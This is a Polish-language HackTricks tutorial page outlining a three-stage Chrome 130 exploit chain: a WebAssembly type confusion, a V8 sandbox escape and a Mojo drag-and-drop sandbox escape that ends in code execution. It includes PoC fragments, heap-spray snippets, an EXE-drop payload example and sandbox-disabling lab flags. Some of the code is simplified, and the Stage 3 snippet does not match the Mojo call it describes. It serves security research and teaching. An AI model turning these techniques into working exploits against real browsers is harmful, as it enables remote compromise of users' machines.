hacktricks/src/binary-exploitation/chrome-exploiting.md

171 lines
7.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Chrome Exploiting
{{#include ../banners/hacktricks-training.md}}
> Ta strona oferuje ogólny, ale **praktyczny** przegląd nowoczesnego "pełnego łańcucha" procesu eksploatacji przeciwko Google Chrome 130, oparty na serii badań **“101 Chrome Exploitation”** (Część-0 — Wstęp).
> Celem jest dostarczenie pentesterom i deweloperom exploitów minimalnej wiedzy niezbędnej do powtórzenia lub dostosowania technik do własnych badań.
## 1. Przegląd architektury Chrome
Zrozumienie powierzchni ataku wymaga wiedzy o tym, gdzie kod jest wykonywany i które piaskownice mają zastosowanie.
```
+-------------------------------------------------------------------------+
| Chrome Browser |
| |
| +----------------------------+ +-----------------------------+ |
| | Renderer Process | | Browser/main Process | |
| | [No direct OS access] | | [OS access] | |
| | +----------------------+ | | | |
| | | V8 Sandbox | | | | |
| | | [JavaScript / Wasm] | | | | |
| | +----------------------+ | | | |
| +----------------------------+ +-----------------------------+ |
| | IPC/Mojo | |
| V | |
| +----------------------------+ | |
| | GPU Process | | |
| | [Restricted OS access] | | |
| +----------------------------+ | |
+-------------------------------------------------------------------------+
```
Layered defence-in-depth:
* **V8 sandbox** (Izolacja): uprawnienia pamięci są ograniczone, aby zapobiec dowolnemu odczytowi/zapisowi z JITowanego JS / Wasm.
* **Podział Renderer ↔ Przeglądarka** zapewniony przez **Mojo/IPC** przesyłanie wiadomości; renderer *nie ma* dostępu do natywnego FS/sieci.
* **OS sandboksy** dodatkowo ograniczają każdy proces (Windows Integrity Levels / `seccomp-bpf` / profile sandboxów macOS).
Zatem *zdalny* atakujący potrzebuje **trzech** kolejnych prymitywów:
1. Korupcja pamięci wewnątrz V8, aby uzyskać **dowolny RW wewnątrz sterty V8**.
2. Druga wada pozwalająca atakującemu na **ucieczkę z sandboxu V8 do pełnej pamięci renderera**.
3. Ostateczna ucieczka z sandboxu (często logika, a nie korupcja pamięci), aby wykonać kod **poza sandboxem Chrome OS**.
---
## 2. Etap 1 WebAssembly Type-Confusion (CVE-2025-0291)
Wada w optymalizacji **Turboshaft** TurboFan błędnie klasyfikuje **typy referencyjne WasmGC**, gdy wartość jest produkowana i konsumowana wewnątrz *pojedynczej pętli bloku podstawowego*.
Efekt:
* Kompilator **pomija sprawdzenie typu**, traktując *referencję* (`externref/anyref`) jako *int64*.
* Opracowany Wasm pozwala na nakładanie nagłówka obiektu JS z danymi kontrolowanymi przez atakującego → <code>addrOf()</code> & <code>fakeObj()</code> **AAW / AAR prymitywy**.
Minimalny PoC (fragment):
```WebAssembly
(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit ;; exit condition keeps us single-block
br $loop
end
end)
(export "f" (func $f)))
```
Optymalizacja wyzwalaczy i obiekty spray z JS:
```js
const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;
for (let i = 0; i < 1e5; ++i) f({}); // warm-up for JIT
// primitives
let victim = {m: 13.37};
let fake = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);
```
Outcome: **dowolne odczyty/zapisy w V8**.
---
## 3. Etap 2 Ucieczka z piaskownicy V8 (problem 379140430)
Gdy funkcja Wasm jest kompilowana w trybie tier-up, generowany jest **wrapper JS ↔ Wasm**. Błąd związany z niezgodnością sygnatury powoduje, że wrapper zapisuje poza końcem zaufanego obiektu **`Tuple2`**, gdy funkcja Wasm jest ponownie optymalizowana *wciąż na stosie*.
Nadpisanie 2 × 64-bitowych pól obiektu `Tuple2` umożliwia **odczyt/zapis na dowolnym adresie wewnątrz procesu Renderera**, skutecznie omijając piaskownicę V8.
Kluczowe kroki w exploicie:
1. Wprowadź funkcję w stan **Tier-Up**, przełączając między kodem turbofan/baseline.
2. Wyzwól tier-up, utrzymując odniesienie na stosie (`Function.prototype.apply`).
3. Użyj AAR/AAW z Etapu-1, aby znaleźć i uszkodzić sąsiedni `Tuple2`.
Identyfikacja wrappera:
```js
function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f); // force tier-up (internals-only flag)
wrapperGen(0x1337n);
```
Po uszkodzeniu posiadamy w pełni funkcjonalny **renderer R/W primitive**.
---
## 4. Etap 3 Ucieczka z piaskownicy Renderer → OS (CVE-2024-11114)
Interfejs IPC **Mojo** `blink.mojom.DragService.startDragging()` może być wywoływany z Renderer z *częściowo zaufanymi* parametrami. Tworząc strukturę `DragData` wskazującą na **dowolną ścieżkę pliku**, renderer przekonuje przeglądarkę do wykonania *natywnego* przeciągania i upuszczania **poza piaskownicą renderera**.
Wykorzystując to, możemy programowo „przeciągnąć” złośliwy plik EXE (wcześniej umieszczony w lokalizacji z możliwością zapisu dla wszystkich) na pulpit, gdzie Windows automatycznie wykonuje określone typy plików po ich upuszczeniu.
Przykład (uproszczony):
```js
const payloadPath = "C:\\Users\\Public\\explorer.exe";
chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});
```
Nie jest konieczne dodatkowe uszkodzenie pamięci **błąd logiczny** daje nam możliwość wykonania dowolnego pliku z uprawnieniami użytkownika.
---
## 5. Pełny przepływ łańcucha
1. **Użytkownik odwiedza** złośliwą stronę internetową.
2. **Etap 1**: Moduł Wasm wykorzystuje CVE-2025-0291 → sterta V8 AAR/AAW.
3. **Etap 2**: Niedopasowanie opakowania uszkadza `Tuple2` → ucieczka z piaskownicy V8.
4. **Etap 3**: `startDragging()` IPC → ucieczka z piaskownicy OS i wykonanie ładunku.
Wynik: **Zdalne wykonanie kodu (RCE)** na hoście (Chrome 130, Windows/Linux/macOS).
---
## 6. Ustawienia laboratorium i debugowania
```bash
# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1
# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
```
Przydatne flagi podczas uruchamiania *development* builda Chrome:
```bash
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
```
---
## Wnioski
* **Błędy JIT WebAssembly** pozostają niezawodnym punktem wejścia system typów jest wciąż młody.
* Uzyskanie drugiego błędu korupcji pamięci wewnątrz V8 (np. niedopasowanie wrappera) znacznie upraszcza **ucieczkę z piaskownicy V8**.
* Słabości na poziomie logiki w uprzywilejowanych interfejsach IPC Mojo są często wystarczające do **ostatecznej ucieczki z piaskownicy** zwracaj uwagę na *błędy niepamięciowe*.
## Odniesienia
* [101 Chrome Exploitation — Część 0 (Wstęp)](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/)
* [Architektura bezpieczeństwa Chromium](https://chromium.org/developers/design-documents/security)
{{#include ../banners/hacktricks-training.md}}